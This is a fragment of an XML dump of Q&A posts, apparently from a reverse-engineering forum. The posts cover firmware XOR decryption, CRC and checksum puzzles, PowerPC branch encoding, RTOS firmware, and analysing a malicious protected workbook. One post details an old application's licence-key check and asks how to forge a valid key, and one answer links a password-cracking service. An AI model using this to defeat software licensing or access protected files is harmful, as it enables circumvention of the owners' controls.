references on C std library calls (memset, memcpy, etc.)" Tags="|ida|x86|linux|memory|libraries|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23091" PostTypeId="1" CreationDate="2020-01-24T16:57:23.843" Score="2" ViewCount="90" Body="&lt;p&gt;Right now I'm looking at an office document (most likely rtf based on it exploiting equation editor) that opens just fine when you double click it, but on further examination in a hex editor and in entropy analysis is technically encrypted, even without a password. It seems as thought the workbook is protected, and I'm not sure how to access the cleartext version of the document&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to know which vulnerability the document targets to determine coverage, but I don't know how to remove it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I remove the &quot;protection&quot; from the workbook so I can save it without knowing the password? Trying password crackers &quot;works&quot; but it seems to corrupt the file such that I can't save it as cleartext to examine it's internals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should mention that this is an .xlsx file.&lt;/p&gt;&#xA;" OwnerUserId="28032" LastActivityDate="2020-01-25T07:44:07.193" Title="How to “unprotect” malicious workbook without knowing password" Tags="|malware|file-format|encryption|exploit|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23092" PostTypeId="2" ParentId="23086" CreationDate="2020-01-24T20:07:41.047" Score="3" Body="&lt;p&gt;Your disassembly doesn't show enough memory to know if the target is empty memory, but the x86 segmentation model means that the jump target for 0xF000:E205 is 0xFE205 (i.e. the (0xF000 &amp;lt;&amp;lt; 4) + the 0xE205).  IDA doesn't show that in an obvious way by default.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2020-01-24T20:07:41.047" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23094" PostTypeId="1" AcceptedAnswerId="23115" CreationDate="2020-01-24T23:52:33.347" Score="-1" ViewCount="793" Body="&lt;p&gt;Maybe someone can help me with algorithm for checksum calculation. CRC 8 does not fit. Left byte is CRC.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;B9 30 13 00 00 20 00 00&#xA;36 31 13 00 00 20 00 00&#xA;BA 32 13 00 00 20 00 00&#xA;35 33 13 00 00 20 00 00&#xA;BF 34 13 00 00 20 00 00&#xA;30 35 13 00 00 20 00 00&#xA;BC 36 13 00 00 20 00 00&#xA;33 37 13 00 00 20 00 00&#xA;B5 38 13 00 00 20 00 00&#xA;3A 39 13 00 00 20 00 00&#xA;B6 3A 13 00 00 20 00 00&#xA;39 3B 13 00 00 20 00 00&#xA;B3 3C 13 00 00 20 00 00&#xA;3C 3D 13 00 00 20 00 00&#xA;B0 3E 13 00 00 20 00 00&#xA;3F 3F 13 00 00 20 00 00&#xA;&#xA;7E 01 00 00 00 20 00 00&#xA;F2 02 00 00 00 20 00 00&#xA;7D 03 00 00 00 20 00 00&#xA;F7 04 00 00 00 20 00 00&#xA;78 05 00 00 00 20 00 00&#xA;F4 06 00 00 00 20 00 00&#xA;7B 07 00 00 00 20 00 00&#xA;FD 08 00 00 00 20 00 00&#xA;72 09 00 00 00 20 00 00&#xA;FE 0A 00 00 00 20 00 00&#xA;71 0B 00 00 00 20 00 00&#xA;FB 0C 00 00 00 20 00 00&#xA;74 0D 00 00 00 20 00 00&#xA;F8 0E 00 00 00 20 00 00&#xA;77 0F 00 00 00 20 00 00&#xA;F1 00 00 00 00 20 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30892" LastActivityDate="2020-12-29T15:24:33.863" Title="CAN Bus checksum" Tags="|crc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23095" PostTypeId="2" ParentId="23091" CreationDate="2020-01-25T07:44:07.193" Score="1" Body="&lt;p&gt;If I get your question right &lt;a href=&quot;https://www.onlinehashcrack.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This&lt;/a&gt; link can help you to get the password of office files.&lt;/p&gt;&#xA;" OwnerUserId="30781" LastActivityDate="2020-01-25T07:44:07.193" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23096" PostTypeId="2" ParentId="23078" CreationDate="2020-01-25T09:09:39.013" Score="2" Body="&lt;p&gt;The firmware for these devices is typically not directly connected to the computer, and the FPGA reads the data itself upon startup through a dedicated connection not accessible to anything else.  There would be no need to connect the memory chips to the computer, as it would add unnecessary complexity to the device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The device may implement functions that let you read and write memory (e.g. to reflash the firmware) but often they don't implement read functions as it would make reverse engineering the firmware easier, and isn't needed for the device to function.  Plenty of devices still do however, so you can back up the firmware before reflashing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FPGAs often have dedicated memory chips connected to them, so there's a good chance you could just physically attach an EEPROM reader to that chip and dump the data as you would for any other standard flash memory chip.&lt;/p&gt;&#xA;" OwnerUserId="20888" LastEditorUserId="20888" LastEditDate="2020-01-25T23:12:12.760" LastActivityDate="2020-01-25T23:12:12.760" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23097" PostTypeId="1" CreationDate="2020-01-25T09:24:44.687" Score="0" ViewCount="281" Body="&lt;p&gt;I want to know how next instruction address (NIA) is calculated for BL instruction. Lets assume that there is such instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:100004C8    BL sub_10000670.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This command in hex is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;48 00 01 A9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here we have that current instruction address (CIA) is &lt;code&gt;100004C8&lt;/code&gt; and NIA is &lt;code&gt;10000670&lt;/code&gt;. So accroding to &lt;a href=&quot;http://math-atlas.sourceforge.net/devel/assembly/ppc_isa.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this book (page 33 in pdf)&lt;/a&gt; we have to concatenate LI (in our case it is &lt;code&gt;6A&lt;/code&gt;) and &lt;code&gt;0B00&lt;/code&gt;, sign extend it and sunm with 32 high ordered bits of &lt;code&gt;NIA&lt;/code&gt;. The formula is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NIA = CIA + EXTS(LI || 0B00).&#xA;&#xA;NIA - CIA = 10000670 - 100004C8 = 1A8.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i get from &lt;code&gt;1A8&lt;/code&gt; my &lt;code&gt;LI = 6A&lt;/code&gt; value? What do i misunderstand?&lt;/p&gt;&#xA;" OwnerUserId="26686" LastActivityDate="2020-01-25T17:44:09.053" Title="calculate branch target address powerpc" Tags="|address|powerpc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23098" PostTypeId="1" AcceptedAnswerId="23124" CreationDate="2020-01-25T10:08:40.040" Score="5" ViewCount="1318" Body="&lt;h3&gt;TL;DR&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I have an encrypted image and the cleartext version, and I'm almost certain it's an XOR cipher, but I can't figure out how to decrypt it.  I have a few clues listed below.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://files.shikadi.net/malv/files/stackexchange/ciphertext.bin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ciphertext excerpt&lt;/a&gt; (20kB)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://files.shikadi.net/malv/files/stackexchange/cleartext.bin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cleartext excerpt&lt;/a&gt; (20kB)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Detail&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I'm trying to reverse engineer the firmware for a pro audio device, and I've got most of the way but I'm stuck on a step in the middle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure it's an XOR cipher (as there was one XOR decryption already to get to this point, and there is another one after).  It seems to be applied in blocks of 0x1000 bytes, as the key seems to reset after this many bytes.  The initial key seems to be &lt;code&gt;2&lt;/code&gt; and it is incremented by 1 every 0x2000 bytes.  At the start of each block, the current 'initial key' is XOR'd with &lt;code&gt;0x4002&lt;/code&gt; to produce the real key.  Thus the keys reset to these values at these offsets:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Offset | Key&#xA;-------+--------------------&#xA;0x0000 | 2 ^ 0x4002 = 0x4000&#xA;0x1000 | 2 ^ 0x4002 = 0x4000&#xA;0x2000 | 3 ^ 0x4002 = 0x4001&#xA;0x3000 | 3 ^ 0x4002 = 0x4001&#xA;0x4000 | 4 ^ 0x4002 = 0x4006&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The cipher seems to work in units/words of 16-bits, little endian.  After each word has been XOR'd with the key, the key is bit-shifted right by &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this is where I have come unstuck.  Sometimes, apparently at random, the key needs to be XOR'd by &lt;code&gt;0x4002&lt;/code&gt;.  I cannot see the pattern as to when this happens.  Initially it looks like it happens every four bytes (two words) but this falls apart at offset 0x22.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried XOR'ing the ciphertext and cleartext to produce a long XOR keyfile, and then tried to work out how to reproduce that keyfile.  By XOR'ing my guess against the large keyfile, it should end up as &lt;code&gt;0x00&lt;/code&gt; bytes if I am correct.  However it often ends up as &lt;code&gt;0x02 0x40&lt;/code&gt; bytes, and by writing code that detected these mistakes and adjusted the key accordingly, I was able to see where and when the key needs to be XOR'd by &lt;code&gt;0x4002&lt;/code&gt; in order to decrypt the data correctly.  I've been staring at it for a few hours now, but it just looks random to me, I can't spot any pattern!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in the block starting at offset 0, the key needs to be XOR'd with &lt;code&gt;0x4002&lt;/code&gt; at offsets 0, 4, 8, 12 (every four bytes) but then at offset 20 it drops back to every two bytes (20, 22, 24, -not 26-, 28, 2A, 2A, -not 2E-, etc.)  I can't see the pattern as to when this extra XOR on the key should happen.  It doesn't seem to be related to the previous value, the offset, the key value, etc. (of course it probably is I just can't see it.)&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Background&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The source data has come from a firmware file from the manufacturer, which I have decoded from MIDI SysEx events and decrypted with an XOR cipher.  I know this cipher is correct as it produces a correct header and footer, along with block numbers every 256 bytes.  After processing these I end up with a source image that is exactly the same size as the firmware dump taken direct from the device's ROM chip with a Minipro EEPROM reader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The XOR cipher I am struggling with is the last step in going from the manufacturer's firmware file to what gets flashed into the ROM chip (and vice versa, as programming a custom ROM is my ultimate goal).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that what does get flashed into the ROM chip (what I am referring to here as the cleartext) is itself further XOR encrypted, however I have successfully decrypted that so it is no issue here (and this in-flash encryption is required as the bootloader expects it.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone is able to assist me in figuring out this algorithm, I will be implementing it and releasing it as open source, as &lt;a href=&quot;https://github.com/Malvineous/behringerctl&quot; rel=&quot;nofollow noreferrer&quot;&gt;part of a project I am working on&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Disassembly&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Further to the question from @Igor Skochinsky, I haven't yet tried to disassemble the bootloader as I'm not sure how to go about it.  Here's the &lt;a href=&quot;http://files.shikadi.net/malv/files/stackexchange/deq2496-bootloader.bin&quot; rel=&quot;nofollow noreferrer&quot;&gt;bootloader code&lt;/a&gt;, which may contain a 10-byte header according to the &lt;a href=&quot;https://www.analog.com/media/en/technical-documentation/data-sheets/ADSP-BF531_BF532_BF533.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blackfin ADSP-BF531 datasheet&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid confusion if anyone is able to disassemble the code, the XOR encryption I am asking about is only applied during the flash ROM programming stage.  A block of data comes in as 7-bit data via the MIDI port (function number 0x34 &quot;write flash block&quot;), is decoded into 8-bit data, an unrelated XOR decrypt with the key &lt;code&gt;TZ'04&lt;/code&gt; is applied (the key is loaded from offset 0x2C84), the CRC is checked, the three-byte header is stripped and the remaining 256-byte block is (presumably) stored in RAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The manual says the device only acknowledges the write after the 16th 256-byte block, which is 4 kB of data.  The XOR algorithm in question resets the key every 4 kB, so it would appear that the device collects the 256-byte blocks until it reaches 4 kB and applies the unknown XOR cipher at that point, after which it writes the resulting cleartext onto the flash chip (which is an SST39SF040, identified as chip ID 0xBFB7).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unrelated to this (but to help guide any disassembly), the bootloader also loads data from the flash chip during a normal boot and then XOR decodes it with an 'application key'.  This runtime XOR is solved as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Bootloader XOR key loaded from offset 0x3002, length 0x38.&lt;/li&gt;&#xA;&lt;li&gt;Bootloader ciphertext read from offset 0x303A, length 0x38.&lt;/li&gt;&#xA;&lt;li&gt;Bootloader XOR and ciphertext applied to produce the 'application key'.&lt;/li&gt;&#xA;&lt;li&gt;Flash memory is read from offset 0x4000, application key used for XOR, result stored in memory ready to execute.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20888" LastEditorUserId="20888" LastEditDate="2020-01-26T04:39:16.410" LastActivityDate="2020-08-10T01:40:38.923" Title="Stuck on XOR decryption of firmware" Tags="|firmware|decryption|xor|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23099" PostTypeId="1" AcceptedAnswerId="23108" CreationDate="2020-01-25T10:58:00.530" Score="2" ViewCount="211" Body="&lt;p&gt;The Behringer DEQ2496 audio device can have commands sent to it via MIDI, however they require a valid CRC code in order for the device to accept them.&lt;/p&gt;&#xA;&lt;p&gt;I have thus far been unable to work out how the CRC code is calculated.  The manual suggests it is CRC8 however I have not been able to configure a CRC8 algorithm to produce matching values.&lt;/p&gt;&#xA;&lt;p&gt;Here is some sample data, including valid CRC codes:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://files.shikadi.net/malv/files/stackexchange/block-40.bin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Block 0x0040&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://files.shikadi.net/malv/files/stackexchange/block-41.bin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Block 0x0041&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://files.shikadi.net/malv/files/stackexchange/block-41.bin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Block 0x0042&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://files.shikadi.net/malv/files/stackexchange/block-42.bin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Block 0x0043&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://files.shikadi.net/malv/files/stackexchange/block-43.bin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Block 0x0043&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://files.shikadi.net/malv/files/stackexchange/block-ff00.bin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Block 0xFF00&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The DEQ2496 SysEx manual says of the layout of each of the above files:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;blockdata&lt;/strong&gt;: 7/8 coded: blockno_h, blockno_l, crc, data[256].&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;crc&lt;/strong&gt;: crc8 checksum of blockno_h, blockno_l, data[256]&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;blockno&lt;/strong&gt;: transferred 256 byte data block number (bits 21..15, 14..8 of flash offset); blocks 0-0x1f: boot loader; blocks 0x20..0x5ef: application; blocks 0x5f0-0x5ff: startup screen; blocks 0x600-0x67f: presets; blocks 0x680-0x69f: temporary buffers; blocks 0x6a0-0x7ff: hw configuration; block no 0xff00 shows text message data[0..52] on screen&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;data&lt;/strong&gt;: data block&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I have taken care of the 7/8 coding, so now I have a block of 3+256 bytes, consisting of:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Offset 0: 16-bit big endian integer, block number&lt;/li&gt;&#xA;&lt;li&gt;Offset 2: 8-bit integer, CRC (this is the value I am trying to calculate)&lt;/li&gt;&#xA;&lt;li&gt;Offset 3+: Actual data&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I've tried a couple of CRC algorithms (with and without a lookup table), written code to run through all possible 8-bit polynomials, initial and final XOR values, and yet I can't find any parameters that work for more than one block.&lt;/p&gt;&#xA;&lt;p&gt;Although the manual suggests the CRC byte itself is not included in the CRC calculation, I also tried leaving it in place and setting it to various values like &lt;code&gt;0x00&lt;/code&gt; and &lt;code&gt;0xFF&lt;/code&gt; however this didn't yield any results either.&lt;/p&gt;&#xA;&lt;p&gt;Is there anyone with more CRC knowledge than me who is able to figure out what they mean here by &amp;quot;crc8 checksum&amp;quot;?&lt;/p&gt;&#xA;" OwnerUserId="20888" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2020-01-26T09:57:21.230" Title="Behringer CRC8 algorithm" Tags="|crc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23100" PostTypeId="2" ParentId="23097" CreationDate="2020-01-25T14:53:57.780" Score="1" Body="&lt;p&gt;base16 0x480001a9 == base2 1001000000000000000000110101001  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;chop of 5 upper bits and two lower bits for LI = 000000000000000001101010   = 0x6a&lt;/p&gt;&#xA;&#xA;&lt;p&gt;shift left 0x6a by two  0x6a &amp;lt;&amp;lt; 2 = 0x1a8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add current instruction Address 0x100004c8 to the result 0x10000670  is the Target Address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;since LK = 1 put 0x100004cc in link register &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a simple python demo (edited to add negative )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;instruction = [0x480001a9,0x4BFFFD6D]&#xA;CIA = [0x100004c8,0x1000052C]&#xA;for i in range(0,len(instruction),1):&#xA;    asbin = bin(instruction[i])&#xA;    print (hex(instruction[i]) +' = '+ asbin)&#xA;    print (&quot;length of asbin = &quot; + str(len(asbin)))&#xA;    Displacement  = ((int( '0b'+ asbin[8:31] ,2) &amp;lt;&amp;lt; 2) &amp;amp; 0xffff )&#xA;    if((Displacement &amp;amp; 0x8000) == 0x8000):&#xA;        Displacement = -(0x10000-Displacement)&#xA;    print hex(Displacement)&#xA;    NIA = hex(CIA[i] + Displacement)&#xA;    print (NIA)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;executed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x480001a9 = 0b1001000000000000000000110101001&#xA;length of asbin = 33&#xA;0x1a8&#xA;0x10000670&#xA;0x4bfffd6d = 0b1001011111111111111110101101101&#xA;length of asbin = 33&#xA;-0x294&#xA;0x10000298&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-01-25T17:44:09.053" LastActivityDate="2020-01-25T17:44:09.053" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23101" PostTypeId="1" AcceptedAnswerId="23120" CreationDate="2020-01-25T15:48:37.180" Score="1" ViewCount="241" Body="&lt;p&gt;So I have an ancient application for a company that has since gone bust and I thought I'd look at how it works; it provides a key, and requires a key given to it. Both these keys are encoded in a certain way and then parts of the encoded value are compared for equality. Firstly I'll explain the encoding process as I have remade it in javascript&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This appears to be a caesar cipher in some shape or form and I'm pretty sure it equates to the formula:&#xA;&lt;code&gt;C(x) = (P(b - a - x + 284) mod 26) + 48&lt;/code&gt; where&lt;br&gt;&#xA;x = character number&lt;br&gt;&#xA;b = current characters index in alphabet&lt;br&gt;&#xA;a = previous letters index in alphabet&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const alphabet = `SDHACENOIFKXQLBMPJTZURWVGY`&#xA;&#xA;function encodeString(s) {&#xA;    var result = s.charAt(0),&#xA;        lastLetterIdx = alphabet.indexOf(s.charAt(0)) &#xA;&#xA;    for(let i = 0; i &amp;lt; s.length - 1; i++) {&#xA;        let thisLetterIdx = alphabet.indexOf(s.charAt(i + 1)) &#xA;        let cypherNum = thisLetterIdx - lastLetterIdx - i&#xA;        cypherNum += 284&#xA;        let modNum = cypherNum % 26&#xA;        let encChar = String.fromCharCode(modNum + 48)&#xA;&#xA;        result += encChar&#xA;&#xA;        lastLetterIdx = thisLetterIdx&#xA;    }&#xA;&#xA;    return result&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A key provided by the software is&lt;br&gt;&#xA;&lt;code&gt;ALVMGRCTQQEYMNAHDANKPGKPO&lt;/code&gt;&lt;br&gt;&#xA;which gets encoded to&lt;br&gt;&#xA;&lt;code&gt;A87&amp;gt;4A26;@8833898:::;&amp;lt;?8B&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is then checksumed by skipping the first character and adding the ascii values up, so in this case that number is 1378, mod 25 = 3 and the alphabet character at position 3 (0 indexed) is &lt;code&gt;A&lt;/code&gt; which matches the first character of the key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For encoding step 2 the software takes characters 1-12 (87&gt;4A26;@883) and encodes it into a number via the following:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function encodedStringToNumber(str) {&#xA;    var number = 0,&#xA;        letterMulti = 1&#xA;    for(let i = str.length; i &amp;gt; 0; i--) {&#xA;        if(i &amp;lt; str.length)&#xA;            letterMulti = letterMulti * 19&#xA;&#xA;        let letter = str.charCodeAt(i-1)&#xA;        letter -= 48&#xA;        letter *= letterMulti&#xA;&#xA;        number += letter&#xA;    }&#xA;    return number&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It then converts the number to a string and pads left with &lt;code&gt;0&lt;/code&gt; to ensure its 15 characters long, after doing that with both half's it string concats the numbers to get a result of&lt;br&gt;&#xA;&lt;code&gt;979440403325666401568800000018&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we do the same thing with a random test key I made of  &lt;code&gt;VABCDEFGHIJKLMNOPQRSTUVWXYZABK&lt;/code&gt;&lt;br&gt;&#xA;we get an encrypted key of&lt;br&gt;&#xA;&lt;code&gt;V48&amp;lt;BHG7EFH7@&amp;gt;2;B4@;G661@&amp;gt;C88B&lt;/code&gt;&lt;br&gt;&#xA;that gets checksumd as before and then gets converted to a string with 11 characters from index 1, 11 characters from index 12 and 7 characters from index 23, so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;48&amp;lt;BHG7EFH7&#xA;@&amp;gt;2;B4@;G66&#xA;1@&amp;gt;C88B&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We convert them to numbers then ensure string lengths of 14, 14 and 7 by padding the left with &lt;code&gt;0&lt;/code&gt; again. So a result of&lt;br&gt;&#xA;&lt;code&gt;2732684617734210265934650819588621338&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We now split this number and the number provided in the software down to some key elements and compare the values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say key A is the software provided key of &lt;code&gt;979440403325666401568800000018&lt;/code&gt; and key B is the key I'm randomly using of &lt;code&gt;2732684617734210265934650819588621338&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From key A take characters (indexes are 1 based here):  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3-4   (94)&#xA;28-29 (01)&#xA;6-7   (04)&#xA;8-9   (03)&#xA;10-15 (325666)&#xA;5     (4)&#xA;17-22 (015688)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From key B take:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3-4   (32)&#xA;1-2   (27)&#xA;29-30 (58)&#xA;15-16 (10)&#xA;31-36 (862133)&#xA;28    (9)&#xA;17-22 (265934)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those values need to be the same and as an added check key B 6-8 needs to be &quot;999&quot; (i think this is an install flag and 000 is an uninstall flag)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So with the key given by application I know I need to make a key that encrypts to the following number (where X can be anything):&lt;br&gt;&#xA;&lt;code&gt;0194x999xxxxxx03015688xxxxx404325666x&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This number needs to satisfy the comparisons, have the 999 in the correct place and when encoded as letters needs to validate the checksum mentioned earlier along with each letter of the encoded value being &gt;= '0', by that I mean the ascii value is at or above 48.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have is given the way it encrypts the key I can't for the life of me work out how they could make a program which does the reverse, the first step seems easy if I knew how to do modular arithmetic, but converting a number to letters is straight up beyond me. &lt;/p&gt;&#xA;" OwnerUserId="30895" LastEditorUserId="30895" LastEditDate="2020-01-26T12:04:57.767" LastActivityDate="2020-01-27T08:23:57.493" Title="Reversing an encoded key with a given cipher - figuring out the reverse algorithm" Tags="|decryption|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23102" PostTypeId="2" ParentId="23097" CreationDate="2020-01-25T15:53:08.233" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;NIA = CIA + EXTS(LI || 0B00)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;||&lt;/code&gt; notation denotes concatenation. So if you take LI&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0x6A -&gt; 0b1101010&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And add two zeroes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0b1101010 || 0b00  -&gt; 0b110101000 -&gt; 0x1A8&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You get: NIA = 0x100004C8 + 0x1A8 = 10000670&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-01-25T15:53:08.233" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23104" PostTypeId="1" AcceptedAnswerId="23106" CreationDate="2020-01-25T19:56:41.330" Score="1" ViewCount="1709" Body="&lt;p&gt;I am reverse engineering a firmware which has a Linux and an RTOS component. I used binwalk to easily locate the Linux filesystems, extract them, mount them, and now I have binaries which I can open in IDA Pro and continue working on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I am having a &lt;em&gt;much more difficult time&lt;/em&gt; doing this with the RTOS side of the firmware. In my target firmware image, I was able to identify that the RTOS sits &lt;em&gt;above&lt;/em&gt; the Linux filesystems in memory address, by performing some string searches for common RTOS-related things. The code is definitely ARM, likely 32 bit, little-endian. This is a Cortex-A7. I saw artifacts which indiciate that it is also likely an ITRON RTOS or perhaps FreeRTOS. But essentially, binwalk extracted 3-4 chunks of &quot;data&quot; files which contain all of this. So I am able to get some useful info from looking at string offsets in these chunks. Seeing as most of the data appear to be strings and ARM instructions, I've opened them in IDA Pro. IDA Takes A LONG TIME to parse, but once they're parsed, everything is just data and needs to be manually turned into code. This is where I'm hung-up. I have 2 main questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Does an RTOS system like this have a proper &quot;file system&quot; that I could &quot;mount&quot; to view the binaries like I did with the Linux ext and squashfs ones? All filesystems I've ever worked with using binwalk have been Linux ones. What are common RTOS file systems if this is the case?&lt;/li&gt;&#xA;&lt;li&gt;If not, how can I go about viewing the ARM disassembly of these chunks in a legible way using IDA Pro?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18507" LastEditorUserId="18507" LastEditDate="2020-01-25T20:07:47.973" LastActivityDate="2020-01-25T21:07:11.207" Title="How to make sense of RTOS in firmware?" Tags="|ida|firmware|file-format|firmware-analysis|operating-systems|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
